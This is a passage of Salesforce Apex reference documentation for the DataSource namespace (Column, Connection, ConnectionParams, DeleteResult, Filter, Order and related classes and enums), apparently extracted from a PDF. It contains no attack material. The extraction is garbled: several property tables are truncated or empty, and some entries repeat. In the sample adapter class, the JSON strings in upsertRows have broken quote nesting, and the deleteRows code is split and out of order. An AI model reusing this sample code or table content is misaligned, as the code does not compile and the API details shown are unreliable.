</tr>
<tr>
<td>description</td>
<td>name</td>
</tr>
<tr>
<td>isSortable</td>
<td>true</td>
</tr>
<tr>
<td>isFilterable</td>
<td>true</td>
</tr>
<tr>
<td>type</td>
<td><code>DataSource.DataType.EXTERNAL_LOOKUP_TYPE</code></td>
</tr>
<tr>
<td>length</td>
<td>255</td>
</tr>
<tr>
<td>decimalPlaces</td>
<td>0</td>
</tr>
<tr>
<td>referenceTo</td>
<td><code>domain</code></td>
</tr>
<tr>
<td>referenceTargetField</td>
<td>null</td>
</tr>
</tbody>
</table>

`get(name, label, description, isSortable, isFilterable, type, length, decimalPlaces, referenceTo, referenceTargetField)`

Returns a new column with the ten specified `Column` property values.

Signature

```java
public static DataSource.Column get(String name, String label, String description, Boolean isSortable, Boolean isFilterable, DataSource.DataType type, Integer length, Integer decimalPlaces, String referenceTo, String referenceTargetField)
```

Parameters

See [Column Properties](#) on page 2431 for information about each parameter.

- `name`
  - Type: `String`

- `label`
  - Type: `String`

- `description`
  - Type: `String`

- `isSortable`
  - Type: `Boolean`

- `isFilterable`
  - Type: `Boolean`
type
  Type: DataSource.DataType

length
  Type: Integer

decimalPlaces
  Type: Integer

referenceTo
  Type: String

referenceTargetField
  Type: String

Return Value
Type: DataSource.Column

get(name, label, description, isSortable, isFilterable, type, length, decimalPlaces)

Returns a new column with the eight specified Column property values.

Signature

public static DataSource.Column get(String name, String label, String description,
  Boolean isSortable, Boolean isFilterable, DataSource.DataType type, Integer length,
  Integer decimalPlaces)

Parameters

See Column Properties on page 2431 for information about each parameter.

name
  Type: String

label
  Type: String

description
  Type: String

isSortable
  Type: Boolean

isFilterable
  Type: Boolean

type
  Type: DataSource.DataType

length
  Type: Integer

decimalPlaces
  Type: Integer
Returns a new column with the seven specified Column property values.

Signature

public static DataSource.Column get(String name, String label, String description, Boolean isSortable, Boolean isFilterable, DataSource.DataType type, Integer length)

Parameters

See Column Properties on page 2431 for information about each parameter.

name
Type: String

label
Type: String

description
Type: String

isSortable
Type: Boolean

isFilterable
Type: Boolean

type
Type: DataSource.DataType

length
Type: Integer

Returns a new column of data type INDIRECT_LOOKUP_TYPE.

Signature

public static DataSource.Column indirectLookup(String name, String domain, String targetField)

Parameters

name
Type: String
Name of the column.

domain
Type: String
API name of the parent object in the indirect lookup relationship.

targetField
Type: String
API name of the custom field on the parent object whose values are compared against this column's values. Matching values identify related records in an indirect lookup relationship.

Return Value
Type: DataSource.Column
The returned column has these property values.

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td>name</td>
</tr>
<tr>
<td>label</td>
<td>name</td>
</tr>
<tr>
<td>description</td>
<td>name</td>
</tr>
<tr>
<td>isSortable</td>
<td>true</td>
</tr>
<tr>
<td>isFilterable</td>
<td>true</td>
</tr>
<tr>
<td>type</td>
<td>DataSource.DataType.INDIRECT_LOOKUP_TYPE</td>
</tr>
<tr>
<td>length</td>
<td>255</td>
</tr>
<tr>
<td>decimalPlaces</td>
<td>0</td>
</tr>
<tr>
<td>referenceTo</td>
<td>domain</td>
</tr>
<tr>
<td>referenceTargetField</td>
<td>targetField</td>
</tr>
</tbody>
</table>

integer(name, length)
Returns a new numeric column with no decimal places using the specified name and length.

Signature
public static DataSource.Column integer(String name, Integer length)

Parameters
name
Type: String
The column name.

length
Type: Integer
The column length.

Return Value
Type: `DataSource.Column`

`lookup(name, domain)`
Returns a new column of data type `LOOKUP_TYPE`.

Signature
```java
public static DataSource.Column lookup(String name, String domain)
```

Parameters
- `name`
  Type: `String`
  Name of the column.
- `domain`
  Type: `String`
  API name of the parent object in the lookup relationship.

Return Value
Type: `DataSource.Column`

The returned column has these property values.

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td><code>name</code></td>
</tr>
<tr>
<td>label</td>
<td><code>name</code></td>
</tr>
<tr>
<td>description</td>
<td><code>name</code></td>
</tr>
<tr>
<td>isSortable</td>
<td><code>true</code></td>
</tr>
<tr>
<td>isFilterable</td>
<td><code>true</code></td>
</tr>
<tr>
<td>type</td>
<td><code>DataSource.DataType.LOOKUP_TYPE</code></td>
</tr>
<tr>
<td>length</td>
<td><code>255</code></td>
</tr>
<tr>
<td>decimalPlaces</td>
<td><code>0</code></td>
</tr>
<tr>
<td>referenceTo</td>
<td><code>domain</code></td>
</tr>
<tr>
<td>referenceTargetField</td>
<td><code>null</code></td>
</tr>
</tbody>
</table>

`number(name, length, decimalPlaces)`
Returns a new column of data type `NUMBER_TYPE`.

2440
Signature

`public static DataSource.Column number(String name, Integer length, Integer decimalPlaces)`

Parameters

See Column Properties on page 2431 for information about each parameter.

- **name**
  - Type: String
- **length**
  - Type: Integer
- **decimalPlaces**
  - Type: Integer

Return Value

Type: `DataSource.Column`

The returned column has these property values.

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td>name</td>
</tr>
<tr>
<td>label</td>
<td>name</td>
</tr>
<tr>
<td>description</td>
<td>name</td>
</tr>
<tr>
<td>isSortable</td>
<td>true</td>
</tr>
<tr>
<td>isFilterable</td>
<td>true</td>
</tr>
<tr>
<td>type</td>
<td>DataSource.DataType.NUMBER_TYPE</td>
</tr>
<tr>
<td>length</td>
<td>length</td>
</tr>
<tr>
<td>decimalPlaces</td>
<td>decimalPlaces</td>
</tr>
</tbody>
</table>

**text(name, label, length)**

Returns a new column of data type `STRING_SHORT_TYPE` or `STRING_LONG_TYPE`, with the specified name, label, and length.

Signature

`public static DataSource.Column text(String name, String label, Integer length)`

Parameters

- **name**
  - Type: String
    - Name of the column.
**label**
Type: **String**
User-friendly name for the column that appears in the Salesforce user interface.

**length**
Type: **Integer**
Number of characters allowed in the column.

Return Value
Type: **DataSource.Column**
The returned column has these property values.

<table>
<thead>
<tr>

</tbody>
</table>

**text(name, length)**
Returns a new column of data type STRING_SHORT_TYPE or STRING_LONG_TYPE, with the specified name and length.

Signature

```java
public static DataSource.Column text(String name, Integer length)
```

Parameters

**name**
Type: **String**
Name of the column.

**length**
Type: **Integer**
Number of characters allowed in the column.
Return Value
Type: `DataSource.Column`

The returned column has these property values.

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td>name</td>
</tr>
<tr>
<td>label</td>
<td>name</td>

</table>
| type           | `DataSource.DataType.STRING_SHORT_TYPE` if length is 255 or less  
          | `DataSource.DataType.STRING_LONG_TYPE` if length is greater than 255 |
| length         | length                 |
| decimalPlaces  | 0                      |

**text (name)**

Returns a new column of data type `STRING_SHORT_TYPE` with the specified name and the length of 255 characters.

**Signature**

```
public static DataSource.Column text(String name)
```

**Parameters**

- `name`  
  Type: `String`  
  Name of the column.

**Return Value**

Type: `DataSource.Column`

The returned column has these property values.

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td>name</td>
</tr>
<tr>
<td>label</td>
<td>name</td>
</tr>
<tr>
<td>description</td>
<td>name</td>
</tr>
</tbody>
</table>
### textarea(name)

Returns a new column of data type STRING_LONG_TYPE with the specified name and the length of 32,000 characters.

**Signature**

```java
public static DataSource.Column textarea(String name)
```

**Parameters**

- `name`  
  *Type: String*  
  *Name of the column.*

**Return Value**

- *Type: DataSource.Column*  
  *The returned column has these property values.*

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td><code>name</code></td>
</tr>
<tr>
<td>label</td>
<td><code>name</code></td>

</tr>
<tr>
<td>type</td>
<td>DataSource.DataType.STRING_LONG_TYPE</td>
</tr>
<tr>
<td>length</td>
<td>32000</td>
</tr>
<tr>
<td>decimalPlaces</td>
<td>0</td>
</tr>
</tbody>
</table>

### url(name, length)

Returns a new column of data type URL_TYPE with the specified name and length.

**Signature**

```java
public static DataSource.Column url(String name, int length)
```
Signature

```java
public static DataSource.Column url(String name, Integer length)
```

Parameters

- **name**
  - Type: String
  - Name of the column.

- **length**
  - Type: Integer
  - Number of characters allowed in the column.

Return Value

Type: DataSource.Column

The returned column has these property values.

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td>name</td>
</tr>
<tr>
<td>label</td>
<td>name</td>
</tr>
<tr>
<td>description</td>
<td>name</td>
</tr>
<tr>
<td>isSortable</td>
<td>true</td>

</tr>
<tr>
<td>type</td>
<td>DataSource.DataType.URL_TYPE</td>
</tr>
<tr>
<td>length</td>
<td>length</td>
</tr>
<tr>
<td>decimalPlaces</td>
<td>0</td>
</tr>
</tbody>
</table>

**url(name)**

Returns a new column of data type URL_TYPE with the specified name and the length of 1,000 characters.

Signature

```java
public static DataSource.Column url(String name)
```

Parameters

- **name**
  - Type: String
  - Name of the column.
Return Value

Type: DataSource.Column

The returned column has these property values.

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td>name</td>
</tr>
<tr>
<td>label</td>
<td>name</td>
</tr>
<tr>
<td>description</td>
<td>name</td>
</tr>
<tr>
<td>isSortable</td>
<td>true</td>
</tr>
<tr>
<td>isFilterable</td>
<td>true</td>
</tr>
<tr>
<td>type</td>
<td>DataSource.DataType.URL_TYPE</td>
</tr>
<tr>
<td>length</td>
<td>1000</td>
</tr>
<tr>
<td>decimalPlaces</td>
<td>0</td>
</tr>
</tbody>
</table>

ColumnSelection Class

Identifies the list of columns to return during a query or search.

Namespace

DataSource Namespace

Usage

This class is associated with the SELECT clause for a SOQL query, or the RETURNING clause for a SOSL query.

IN THIS SECTION:

ColumnSelection Properties

The following are properties for ColumnSelection.

IN THIS SECTION:

aggregation
How to aggregate the column’s data.

columnName
Name of the selected column.

tableName
Name of the column’s table.
**aggregation**
How to aggregate the column's data.

Signature

```csharp
public DataSource.QueryAggregation aggregation {get; set;}
```

Property Value

Type: `DataSource.QueryAggregation`

**columnName**
Name of the selected column.

Signature

```csharp
public String columnName {get; set;}
```

Property Value

Type: `String`

**tableName**
Name of the column's table.

Signature

```csharp
public String tableName {get; set;}
```

Property Value

Type: `String`

**Connection Class**
Extend this class to enable your Salesforce org to sync the external system's schema and to handle queries, searches, and write operations (upsert and delete) of the external data. This class extends the `DataSourceUtil` class and inherits its methods.

**Namespace**
`DataSource`

**Usage**
Your `DataSource.Connection` and `DataSource.Provider` classes compose a custom adapter for Salesforce Connect. Changing the `sync` method on the `DataSource.Connection` class doesn't automatically resync any external objects.
Example

global class SampleDataSourceConnection extends DataSource.Connection {
  
global SampleDataSourceConnection(DataSource.ConnectionParams connectionParams) {} 

  override global List<DataSource.Table> sync() {
    List<DataSource.Table> tables = new List<DataSource.Table>();
    List<DataSource.Column> columns = new List<DataSource.Column>();
    columns.add(DataSource.Column.text('Name', 255));
    columns.add(DataSource.Column.text('ExternalId', 255));
    columns.add(DataSource.Column.url('DisplayUrl'));
    tables.add(DataSource.Table.get('Sample', 'Title', columns));
    return tables;
  }

  override global DataSource.TableResult query(DataSource.QueryContext c) {
    return DataSource.TableResult.get(c, DataSource.QueryUtils.process(c, getRows()));
  }

  override global List<DataSource.TableResult> search(DataSource.SearchContext c) {
    List<DataSource.TableResult> results = new List<DataSource.TableResult>();
    for (DataSource.TableSelection tableSelection : c.tableSelections) {
      results.add(DataSource.TableResult.get(tableSelection, getRows()));
    }
    return results;
  }

  // Helper method to get record values from the external system for the Sample table.
  private List<Map<String, Object>> getRows () {
    // Get row field values for the Sample table from the external system via a callout.
    HttpResponse response = makeGetCallout();
    // Parse the JSON response and populate the rows.
    Map<String, Object> m = (Map<String, Object>)JSON.deserializeUntyped(response.getBody());
    Map<String, Object> error = (Map<String, Object>)m.get('error');
    if (error != null) {
      throwException(string.valueOf(error.get('message')));
    }
    List<Map<String, Object>> rows = new List<Map<String, Object>>();
    List<Object> jsonRows = (List<Object>)m.get('value');
    if (jsonRows == null) {
      rows.add(foundRow(m));
    } else {
      for (Object jsonRow : jsonRows) {
        Map<String, Object> row = (Map<String, Object>)jsonRow;
        rows.add(foundRow(row));
      }
    }
    return rows;
  }
}
global override List<DataSource.UpsertResult> upsertRows(DataSource.UpsertContext context) {
    if (context.tableSelected == 'Sample') {
        List<DataSource.UpsertResult> results = new List<DataSource.UpsertResult>();
        List<Map<String, Object>> rows = context.rows;
        for (Map<String, Object> row : rows) {
            // Make a callout to insert or update records in the external system.
            HttpResponse response;
            // Determine whether to insert or update a record.
            if (row.get('ExternalId') == null) {
                // Send a POST HTTP request to insert new external record.
                // Make an Apex callout and get HttpResponse.
                response = makePostCallout(
                    '{' + "name":'" + row.get('Name') + '"" + "ExternalId":"" + row.get('ExternalId') + '""});
            } else {
                // Send a PUT HTTP request to update an existing external record.
                // Make an Apex callout and get HttpResponse.
                response = makePutCallout(
                    '{' + "name":'" + row.get('Name') + '"" + "ExternalId":"" + row.get('ExternalId') + '""),
                    String.valueOf(row.get('ExternalId')));
            }

            // Check the returned response.
            // First, deserialize it.
            Map<String, Object> m = (Map<String, Object>)JSON.deserializeUntyped(response.getBody());
            if (response.getStatusCode() == 200) {
                results.add(DataSource.UpsertResult.success(String.valueOf(m.get('id'))));
            } else {
                results.add(DataSource.UpsertResult.failure(String.valueOf(m.get('id'))), 'The callout resulted in an error: ' + response.getStatusCode()));
            }
        }
        return results;
    } return null;
}

global override List<DataSource.DeleteResult> deleteRows(DataSource.DeleteContext context) {
    if (context.tableSelected == 'Sample') {
        List<DataSource.DeleteResult> results = new List<DataSource.DeleteResult>();
        for (String externalId : context.externalIds) {
            HttpResponse response = makeDeleteCallout(externalId);
            if (response.getStatusCode() == 200) {

        return null;
    }
}
results.add(DataSource.DeleteResult.success(externalId));
} else {
    results.add(DataSource.DeleteResult.failure(externalId,
            'Callout delete error:'
            + response.getBody()));
}
}
return results;
}
return null;
}

// Helper methods

// Make a GET callout
private static HttpResponse makeGetCallout() {
    HttpResponse response;
    // Make callout
    // ...  
    return response;
}

// Populate a row based on values from the external system.
private Map<String, Object> foundRow(Map<String, Object> foundRow) {
    Map<String, Object> row = new Map<String, Object>();
    row.put('ExternalId', string.valueOf(foundRow.get('Id')));
    row.put('DisplayUrl', string.valueOf(foundRow.get('DisplayUrl')));
    row.put('Name', string.valueOf(foundRow.get('Name')));
    return row;
}

// Make a POST callout
private static HttpResponse makePostCallout(String jsonBody) {
    HttpResponse response;
    // Make callout
    // ...
    return response;
}

// Make a PUT callout
private static HttpResponse makePutCallout(String jsonBody, String externalID) {
    HttpResponse response;
    // Make callout
    // ...
    return response;
}

// Make a DELETE callout
private static HttpResponse makeDeleteCallout(String externalID) {
    HttpResponse response;
    // Make callout
    // ...
    return response;
}
IN THIS SECTION:

Connection Methods

Connection Methods

The following are methods for Connection.

IN THIS SECTION:

- **deleteRows(deleteContext)**
  Invoked when external object records are deleted via the Salesforce user interface, APIs, or Apex.
- **query(queryContext)**
  Invoked by a SOQL query of an external object. A SOQL query is generated and executed when a user visits an external object’s list view or record detail page in Salesforce. Returns the results of the query.
- **search(searchContext)**
  Invoked by a SOSL query of an external object or when a user performs a Salesforce global search that also searches external objects. Returns the results of the query.
- **sync()**
  Invoked when an administrator clicks Validate and Sync on the external data source detail page. Returns a list of tables that describe the external system’s schema.
- **upsertRows(upsertContext)**
  Invoked when external object records are created or updated via the Salesforce user interface, APIs, or Apex.

**deleteRows (deleteContext)**

Invoked when external object records are deleted via the Salesforce user interface, APIs, or Apex.

Signature

```java
public List<DataSource.DeleteResult> deleteRows(DataSource.DeleteContext deleteContext)
```

Parameters

- **deleteContext**
  Type: `DataSource.DeleteContext`
  Contains context information about the delete request.

Return Value

Type: `List<DataSource.DeleteResult>`

The results of the delete operation.
**query (queryContext)**
Invoked by a SOQL query of an external object. A SOQL query is generated and executed when a user visits an external object's list view or record detail page in Salesforce. Returns the results of the query.

**Signature**
```java
public DataSource.TableResult query(DataSource.QueryContext queryContext)
```

**Parameters**
- **queryContext**
  Type: `DataSource.QueryContext`
  Represents the query to run against a data table.

**Return Value**
Type: `DataSource.TableResult`

**search (searchContext)**
Invoked by a SOSL query of an external object or when a user performs a Salesforce global search that also searches external objects. Returns the results of the query.

**Signature**
```java
public List<DataSource.TableResult> search(DataSource.SearchContext searchContext)
```

**Parameters**
- **searchContext**
  Type: `DataSource.SearchContext`
  Represents the query to run against an external data table.

**Return Value**
Type: `List<DataSource.TableResult>`

**sync ()**
Invoked when an administrator clicks Validate and Sync on the external data source detail page. Returns a list of tables that describe the external system's schema.

**Signature**
```java
public List<DataSource.Table> sync()
```

**Return Value**
Type: `List<DataSource.Table>`
Each returned table can be used to create an external object in Salesforce. On the Validate External Data Source page, the administrator views the list of returned tables and selects which tables to sync. When the administrator clicks **Sync**, an external object is created for each selected table. Each column within the selected tables also becomes a field in the external object.

**upsertRows(upsertContext)**
Invoked when external object records are created or updated via the Salesforce user interface, APIs, or Apex.

**Signature**

```java
public List<DataSource.UpsertResult> upsertRows(DataSource.UpsertContext upsertContext)
```

**Parameters**

- **upsertContext**
  - Type: `DataSource.UpsertContext`
  - Contains context information about the upsert request.

**Return Value**

- Type: `List<DataSource.UpsertResult>`
- The results of the upsert operation.

**ConnectionParams Class**

Contains the credentials for authenticating to the external system.

**Namespace**

`DataSource`

**Usage**

If your extension of the `DataSource.Provider` class returns `DataSource.AuthenticationCapability` values that indicate support for authentication, the `DataSource.Connection` class is instantiated with a `DataSource.ConnectionParams` instance in the constructor.

The authentication credentials in the `DataSource.ConnectionParams` instance depend on the Identity Type field of the external data source definition in Salesforce.

- If Identity Type is set to Named Principal, the credentials come from the external data source definition.
- If Identity Type is set to Per User:
  - For queries and searches, the credentials are specific to the current user who invokes the query or search. The credentials come from the user’s authentication settings for the external system.
  - For administrative connections, such as syncing the external system’s schema, the credentials come from the external data source definition.

The values in this class can appear in debug logs and can be accessed by users who have the “Author Apex” permission. If you require better security, we recommend that you specify named credentials instead of URLs as your Apex callout endpoints. Salesforce manages all authentication for Apex callouts that specify a named credential as the callout endpoint so that your code doesn’t have to.
IN THIS SECTION:

ConnectionParams Properties

ConnectionParams Properties
The following are properties for ConnectionParams.

IN THIS SECTION:

certificateName
The name of the certificate for establishing each connection to the external system.

endpoint
The URL of the external system.

oauthToken
The OAuth token that’s issued by the external system.

password
The password for authenticating to the external system.

principalType
An instance of DataSource.IdentityType, which determines which set of credentials to use to access the external system.

protocol
The type of protocol that’s used to authenticate to the external system.

repository
Reserved for future use.

username
The username for authenticating to the external system.

**certificateName**
The name of the certificate for establishing each connection to the external system.

Signature

```java
public String certificateName {get; set;}
```

Property Value

Type: String
The value comes from the external data source definition in Salesforce.

**endpoint**
The URL of the external system.

Signature

```java
public String endpoint {get; set;}
```
Property Value
Type: String
The value comes from the external data source definition in Salesforce.

**oauthToken**
The OAuth token that’s issued by the external system.

Signature
public String oauthToken {get; set;}

Property Value
Type: String

**password**
The password for authenticating to the external system.

Signature
public String password {get; set;}

Property Value
Type: String
The value depends on the **Identity Type** field of the external data source definition in Salesforce.

- If **Identity Type** is set to **Named Principal**, the credentials come from the external data source definition.
- If **Identity Type** is set to **Per User**:
  - For queries and searches, the credentials are specific to the current user who invokes the query or search. The credentials come from the user’s authentication settings for the external system.
  - For administrative connections, such as syncing the external system’s schema, the credentials come from the external data source definition.

**principalType**
An instance of **DataSource.IdentityType**, which determines which set of credentials to use to access the external system.

Signature
public DataSource.IdentityType principalType {get; set;}

Property Value
Type: DataSource.IdentityType
**protocol**

The type of protocol that’s used to authenticate to the external system.

Signature

```csharp
public DataSource.AuthenticationProtocol protocol {get; set;}
```

Property Value

Type: `DataSource.AuthenticationProtocol`

**repository**

Reserved for future use.

Signature

```csharp
public String repository {get; set;}
```

Property Value

Type: `String`

Reserved for future use.

**username**

The username for authenticating to the external system.

Signature

```csharp
public String username {get; set;}
```

Property Value

Type: `String`

The value depends on the **Identity Type** field of the external data source definition in Salesforce.

- If **Identity Type** is set to **Named Principal**, the credentials come from the external data source definition.
- If **Identity Type** is set to **Per User**:
  - For queries and searches, the credentials are specific to the current user who invokes the query or search. The credentials come from the user’s authentication settings for the external system.
  - For administrative connections, such as syncing the external system’s schema, the credentials come from the external data source definition.

**DataSourceUtil Class**

Parent class for the `DataSource.Provider`, `DataSource.Connection`, `DataSource.Table`, and `DataSource.Column` classes.
Namespace

DataSource

IN THIS SECTION:

DataSourceUtil Methods

DataSourceUtil Methods

The following are methods for DataSourceUtil.

IN THIS SECTION:

logWarning(message)
Logs the error message in the debug log.

throwException(message)
Throws a DataSourceException and displays the provided message to the user.

logWarning (message)
Logs the error message in the debug log.

Signature

public void logWarning(String message)

Parameters

message
Type: String

The error message.

Return Value

Type: void

throwException (message)

Throws a DataSourceException and displays the provided message to the user.

Signature

public void throwException(String message)

Parameters

message
Type: String

Error message to display to the user.
Return Value
Type: void

**DataType Enum**
Specifies the data types that are supported by the Apex Connector Framework.

**Usage**
The `DataSource.DataType` enum is referenced by the `type` property on the `DataSource.Column` class.

**Enum Values**
The following are the values of the `DataSource.DataType` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>BOOLEAN_TYPE</td>
<td>Boolean</td>
</tr>
<tr>
<td>DATETIME_TYPE</td>
<td>Date/time</td>
</tr>
<tr>
<td>EXTERNAL_LOOKUP_TYPE</td>
<td>External lookup relationship</td>
</tr>
<tr>
<td>INDIRECT_LOOKUP_TYPE</td>
<td>Indirect lookup relationship</td>
</tr>
<tr>
<td>LOOKUP_TYPE</td>
<td>Lookup relationship</td>
</tr>
<tr>
<td>NUMBER_TYPE</td>
<td>Number</td>
</tr>
<tr>
<td>STRING_LONG_TYPE</td>
<td>Long text area</td>
</tr>
<tr>
<td>STRING_SHORT_TYPE</td>
<td>Text area</td>
</tr>
<tr>
<td>URL_TYPE</td>
<td>URL</td>
</tr>
</tbody>
</table>

**DeleteContext Class**
An instance of `DeleteContext` is passed to the `deleteRows()` method on your `Database.Connection` class. The class provides context information about the delete request to the implementor of `deleteRows()`.

**Namespace**
`DataSource`

**Usage**
The Apex Connector Framework creates context for operations. Context is comprised of parameters about the operations, which other methods can use. An instance of the `DeleteContext` class packages these parameters into an object that can be used when a `deleteRows()` operation is initiated.
DeleteContext Properties

The following are properties for DeleteContext.

externalIds
The external IDs of the rows representing external object records to delete.

tableSelected
The name of the table to delete rows from.

externalIds
The external IDs of the rows representing external object records to delete.

Signature
public List<String> externalIds {get; set;}

Property Value
Type: List<String>

tableSelected
The name of the table to delete rows from.

Signature
public String tableSelected {get; set;}

Property Value
Type: String

DeleteResult Class

Represents the result of a delete operation on an sObject record. The result is returned by the DataSource.deleteRows method of the DataSource.Connection class.

Namespace
DataSource
Usage

A delete operation on external object records generates an array of objects of type `DataSource.DeleteResult`. Its methods create result records that indicate whether the delete operation succeeded or failed.

IN THIS SECTION:
- `DeleteResult Properties`
- `DeleteResult Methods`

DeleteResult Properties

The following are properties for `DeleteResult`.

IN THIS SECTION:
- `errorMessage`
- `externalId`
- `success`

**errorMessage**

The error message that's generated by a failed delete operation. Recorded with a result of type `DataSource.DeleteResult`.

Signature

```plaintext
public String errorMessage {get; set;}
```

Property Value

Type: `String`

**externalId**

The unique identifier of a row that represents an external object record to delete.

Signature

```plaintext
public String externalId {get; set;}
```

Property Value

Type: `String`

**success**

Indicates whether a delete operation succeeded or failed.
Signature

```
public Boolean success {get; set;}
```

Property Value

Type: Boolean

**DeleteResult Methods**

The following are methods for `DeleteResult`.

IN THIS SECTION:

- `equals(obj)`
- `failure(externalId, errorMessage)`
- `hashCode()`
- `success(externalId)`

**equals(obj)**

Maintains the integrity of lists of type `DeleteResult` by determining the equality of external objects in a list. This method is dynamic and is based on the `equals` method in Java.

**signature**

```
public Boolean equals(Object obj)
```

**Parameters**

*obj*

Type: Object

External object whose key is to be validated.

For information about the `equals` method, see Using Custom Types in Map Keys and Sets on page 118.

**Return Value**

Type: Boolean

**failure(externalId, errorMessage)**

Creates a delete result indicating the failure of a delete request for a given external ID.

**signature**

```
failure(externalId, errorMessage)
```

**Parameters**

*externalId*

Type: String

External ID of the object.

*errorMessage*

Type: String

Error message associated with the failure.

**hashCode()**

Maintains the integrity of lists of type `DeleteResult` by determining the uniqueness of the external object records in a list.

**signature**

```
hashCode()
```

**success(externalId)**

Creates a delete result indicating the successful completion of a delete request for a given external ID.

**signature**

```
success(externalId)
```

**Parameter**

*externalId*

Type: String

External ID of the object.
Signature

```java
public static DataSource.DeleteResult failure(String externalId, String errorMessage)
```

Parameters

- **externalId**
  - Type: `String`
  - The unique identifier of the sObject record to delete.

- **errorMessage**
  - Type: `String`
  - The reason the delete operation failed.

Return Value

Type: `DataSource.DeleteResult`

Status result of the delete operation.

**hashCode()**

Maintains the integrity of lists of type `DeleteResult` by determining the uniqueness of the external object records in a list.

Signature

```java
public Integer hashCode()
```

Return Value

Type: `Integer`

**success(externalId)**

Creates a delete result indicating the successful completion of a delete request for a given external ID.

Signature

```java
public static DataSource.DeleteResult success(String externalId)
```

Parameters

- **externalId**
  - Type: `String`
  - The unique identifier of the sObject record to delete.

Return Value

Type: `DataSource.DeleteResult`

Status result of the delete operation for the sObject with the given external ID.
Filter Class

Represents a WHERE clause in a SOSL or SOQL query.

Namespace

DataSource

Usage

Compound types require child filters. Specifically, the subfilters property can't be null if the type property is NOT_, AND_, or OR_.

IN THIS SECTION:
Filter Properties

Filter Properties

The following are properties for Filter.

IN THIS SECTION:

columnName
Name of the column that's being evaluated in a simple comparative type of filter.

columnValue
Value that the filter compares records against in a simple comparative type of filter.

subfilters
List of subfilters for compound filter types, such as NOT_, AND_, and OR_.

tableName
Name of the table whose column is being evaluated in a simple comparative type of filter.

type
Type of filter operation that limits the returned data.

columnName

Name of the column that's being evaluated in a simple comparative type of filter.

Signature

public String columnName {get; set;}

Property Value

Type: String

columnValue

Value that the filter compares records against in a simple comparative type of filter.
Signature

```csharp
public Object columnValue {get; set;}
```

Property Value
Type: Object

**subfilters**
List of subfilters for compound filter types, such as NOT, AND, and OR.

Signature

```csharp
public List<DataSource.Filter> subfilters {get; set;}
```

Property Value
Type: List<DataSource.Filter>

**tableName**
Name of the table whose column is being evaluated in a simple comparative type of filter.

Signature

```csharp
public String tableName {get; set;}
```

Property Value
Type: String

**type**
Type of filter operation that limits the returned data.

Signature

```csharp
public DataSource.FilterType type {get; set;}
```

Property Value
Type: DataSource.FilterType

**FilterType Enum**
Referenced by the `type` property on a `DataSource.Filter`.

**Usage**
Determines how to limit the returned data.
Enum Values
The following are the values of the `DataSource.FilterType` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>AND_</td>
<td>This compound filter type returns all rows that match all the subfilters.</td>
</tr>
<tr>
<td>CONTAINS</td>
<td>Simple comparative filter type.</td>
</tr>
<tr>
<td>ENDS_WITH</td>
<td>Simple comparative filter type.</td>
</tr>
<tr>
<td>EQUALS</td>
<td>Simple comparative filter type.</td>
</tr>
<tr>
<td>GREATER_THAN</td>
<td>Simple comparative filter type.</td>
</tr>
<tr>
<td>GREATER_THAN_OR_EQUAL_TO</td>
<td>Simple comparative filter type.</td>
</tr>
<tr>
<td>LESS_THAN</td>
<td>Simple comparative filter type.</td>
</tr>
<tr>
<td>LESS_THAN_OR_EQUAL_TO</td>
<td>Simple comparative filter type.</td>
</tr>
<tr>
<td>LIKE_</td>
<td>Simple comparative filter type.</td>
</tr>
<tr>
<td>NOT_</td>
<td>This compound filter type returns the rows that don't match the subfilter.</td>
</tr>
<tr>
<td>NOT_EQUALS</td>
<td>Simple comparative filter type.</td>
</tr>
<tr>
<td>OR_</td>
<td>This compound filter type returns all rows that match any of the subfilters.</td>
</tr>
<tr>
<td>STARTS_WITH</td>
<td>Simple comparative filter type.</td>
</tr>
</tbody>
</table>

IdentityType Enum
Determines which set of credentials is used to authenticate to the external system.

Usage
The relevant credentials are passed to your `DataSource.Connection` class.

Enum Values
The following are the values of the `DataSource.IdentityType` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ANONYMOUS</td>
<td>No credentials are used to authenticate to the external system.</td>
</tr>
<tr>
<td>NAMED_USER</td>
<td>The credentials in the external data source definition are used to authenticate to the external system, regardless of which user is accessing the external data from your organization.</td>
</tr>
</tbody>
</table>
For queries and searches, the credentials are specific to the current user who invokes the query or search. The credentials come from the user’s authentication settings for the external system.

For administrative connections, such as syncing the external system’s schema, the credentials come from the external data source definition.

**Order Class**

Contains details about how to sort the rows in the result set. Equivalent to an ORDER BY statement in a SOQL query.

**Namespace**

**DataSource**

**Usage**

Used in the order property on the DataSource.TableSelection class.

### IN THIS SECTION:
- Order Properties
- Order Methods

### Order Properties

The following are properties for Order.

### IN THIS SECTION:
- **columnName**
  - Name of the column whose values are used to sort the rows in the result set.
- **direction**
  - Direction for sorting rows based on column values.
- **tableName**
  - Name of the table whose column values are used to sort the rows in the result set.

**columnName**

Name of the column whose values are used to sort the rows in the result set.

**Signature**

```java
public String columnName {get; set;}
```
Property Value
Type: String

direction
Direction for sorting rows based on column values.

Signature
public DataSource.OrderDirection direction {get; set;}

Property Value
Type: DataSource.OrderDirection

tableName
Name of the table whose column values are used to sort the rows in the result set.

Signature
public String tableName {get; set;}

Property Value
Type: String

Order Methods
The following are methods for Order.

IN THIS SECTION:

get(tableName, columnName, direction)
Creates an instance of the DataSource.Order class.

get(tableName, columnName, direction)
Creates an instance of the DataSource.Order class.

get(tableName, columnName, direction)
Creates an instance of the DataSource.Order class.

Signature
